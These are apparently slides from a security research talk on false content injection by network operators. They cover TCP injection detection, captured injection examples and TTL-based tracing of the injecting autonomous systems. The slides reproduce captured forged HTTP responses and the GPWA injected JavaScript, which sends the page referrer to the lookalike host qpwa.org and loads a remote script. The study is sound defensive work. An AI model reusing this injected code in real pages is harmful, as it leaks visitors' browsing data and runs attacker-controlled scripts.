WEBSITE-TARGETED FALSE CONTENT INJECTION BY NETWORK OPERATORS

Gabi Nakibly$^{1,2}$, Jaime Schcolnik$^3$ and Yossi Rubin$^2$

$^1$ Technion – Israel Institute of technology
$^2$ Rafael – Advanced Defense Systems Ltd.
$^3$ IDC Herzliya
Some ISPs in the past have been spotted altering their customers’ traffic:

- CMA Communications in 2013
- Comcast in 2012
- Mediacom in 2011
- WOW! in 2008
- ....
HOW THE PRACTICE OF CONTENT ALTERATION WAS STUDIED

• Several works studied and analyzed this practice
  • E.g. Netalyzr

• How past work monitored traffic to unearth content alterations:
HOW TRAFFIC WAS MONITORED IN OUR STUDY
WHAT IS OUT-OF-BAND CONTENT ALTERATION?

• In-band content alteration:

• Out-of-band content alteration:
OUT-OF-BAND INJECTION – MODUS OPERANDI

our monitoring point

sq# = 350
150 bytes
OUT-OF-BAND INJECTION DETECTION

• TCP injection has occurred if there are two packets that have:
  • Identical IP addresses and port numbers,
  • Identical TCP sequence number,
  • But, have different payload.
THE INJECTION EVENTS

- We discovered 14 different groups of injection events.
- Almost all of them were injections to Chinese websites.
- 7 injection groups aimed to add rogue advertisements to the website.
- 5 of injection groups has some sort of malicious intent.
- 2 injection groups aimed to simply block content (however is it not censorship related).
INJECTION EXAMPLE #1

• This injection group aims to inject rogue advertisements.
• This is the client's HTTP request:

GET /core.php?show=pic&t=z HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Host: c.cnzz.com
Accept-Encoding: gzip
Referer: http://tfkp.com/
The valid HTTP response:

HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Content-Length: 762
Connection: keep-alive
Date: Tue, 07 Jul 2015 04:54:08 GMT
Last-Modified: Tue, 07 Jul 2015 04:54:08 GMT
Expires: Tue, 07 Jul 2015 05:09:08 GMT

`!function(){var p,q,r,a=encodeURIComponent,c...`

The injected HTTP response:

HTTP/1.1 302 Found
Connection: close
Content-Length: 0
Location: http://adcpc.899j.com/google/google.js
INJECTION EXAMPLE #2

- JiaThis is a Chinese company that provides a social sharing toolbar.
- A request for a resource at jiathis.com results in the following:

The valid HTTP response:

```
HTTP/1.1 200 OK
Server: nginx/1.4.4
Content-Type: text/javascript; charset=UTF-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Expires: -1
Cache-Control: no-store, private, post-check=0 ...
Pragma: no-cache
P3P: CP="CURa ADMa DEVa PS Ao PS Do OUR BUS UNI INT ....
JiaTag: de2a570993d722c94, ...
Content-Encoding: gzip
```

The forged HTTP response:

```
HTTP/1.1 200 OK
Date: May, 28 Mar 2012 14:59:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Pragma: No-Cache
Content-Length: 145
Cache-control: no-cache

<!DOCTYPE "http://www.w3.org/TR/html4/strict.dtd">
<meta http-equiv="refresh" content="1; url=http://www.baidu.com/s?wd=UNIQLO&Tn=99292781_hao_pg"/>
```

A redirection to Baidu with search term “UNIQLO”
How a new breed of hack compromised 2,500 gambling sites at once

By Russell Brandom on July 27, 2015 11:30 am  📧 Email  🐦 @russellbrandom
‘GPWA’ INJECTION

• GPWA – Gambling Portal Webmasters Association.
  • It runs a certification program to gambling sites.
• A site that meets the certification standard gets to show an GPWA seal.
  • There are about 2500 GPWA approved gambling sites.

http://certify.gpwa.org/seal/online.casinocity.com/
The client's HTTP request is:

```
GET /script/europeansoccerstatistics.com/ HTTP/1.1
Host: certify.gpwa.org
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
Referer: http://europeansoccerstatistics.com/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,he;q=0.6
```
• The injected resource.
• Refers to `qpwa.org` instead of `gpwa.org`.
• This is not an attack by a network operator, but by a third party who probably compromised a router.
• The victims of the attack has reportedly have been shown ads and spoofed affiliate tags.

```javascript
{ var i=new Image();
i.src="http://qpwa.org/?q="+document.referrer;
l=localStorage;
if( (document.referrer!="")&
    (document.location.hostname!=
      document.referrer.split('/')[2]) &&
    (!l.g) )
{
c=document.createElement('script');
c.src='http://certify.qpwa.org/script/
    +document.location.hostname.replace('www\.','"')
    +"/";
document.getElementsByTagName('head')[0].appendChild(c)
}
l.g=1;
}
```
WHO IS BEHIND THE INJECTIONS?

• In general, it is difficult to unveil the injecting entities as there is no identifying information in the injected content.

• we tried to get an indication of their identity by identifying the autonomous system from which the forged packet originated.

• Since the injections were not reproducible, we cannot employ the oft-used traceroute-like procedure to locate the injector.
WHO IS BEHIND THE INJECTIONS? (CONT.)

• We used a heuristic based on the forged packet's IP TTL to track down its source.

• It is known that the default initial TTL values of the major operating systems are 32, 64, 128 and 255.

• If the attacker used one of those values we can calculate how many hops the injected packet traversed.
  • For example, if an injected packet arrived at the client having TTL=59, then most probably it's initial value was 64 and it traversed 5 hops.

• Given the path between the server and the client we can pin-point the injector's location.
• However, we do not know what is the actual path from the web server to the user.
  • The reverse path (client to server) can be trace-routed, but Internet paths are not always symmetric.

• To solve this problem we leveraged RIPE Atlas:
  • A global network of probes that measure Internet connectivity and reachability.
  • Using RIPE Atlas we tracerouted the path from a node in the AS of the web server to the client (when there is one).
    • This is still an approximation since that node in not the actual web server.
THE SUSPICIOUS AUTONOMOUS SYSTEMS

• Our analysis indicates that the injector resides within the AS of the injected website.
  • Usually 2-5 hops away from the web server.
• Most injections are triggered from Chinese operators.

<table>
<thead>
<tr>
<th>Injection group</th>
<th>Web server’s AS number</th>
<th>Suspected injecting AS number</th>
</tr>
</thead>
<tbody>
<tr>
<td>xunlei</td>
<td>17816</td>
<td>17816</td>
</tr>
<tr>
<td>szzhengan</td>
<td>4134</td>
<td>4134</td>
</tr>
<tr>
<td>taobao</td>
<td>4837</td>
<td>4837</td>
</tr>
<tr>
<td>uvclick</td>
<td>38182</td>
<td>38182</td>
</tr>
<tr>
<td>adcpc</td>
<td>38182</td>
<td>38182</td>
</tr>
<tr>
<td>server erased</td>
<td>4134</td>
<td>4134</td>
</tr>
<tr>
<td>GPWA</td>
<td>6943</td>
<td>6943</td>
</tr>
<tr>
<td>tupian</td>
<td>4812</td>
<td>4812</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>AS number</th>
<th>Operator</th>
</tr>
</thead>
<tbody>
<tr>
<td>17816, 4837</td>
<td>China Unicom</td>
</tr>
<tr>
<td>4134, 4812</td>
<td>China Telecom</td>
</tr>
<tr>
<td>38182</td>
<td>Extreme Broadband (Malaysia)</td>
</tr>
<tr>
<td>6943</td>
<td>Information Technology Systems (US)</td>
</tr>
</tbody>
</table>
CONCLUSIONS

• Following a large-scale survey of Internet traffic we discovered that not only edge ISPs alter traffic but also non-edge network operators that aim to increase their revenue.

• There were numerous incidents with malicious intent.

• We propose a client-side mitigation for the attacks in case HTTPS can not be used.

• We published samples of the injections.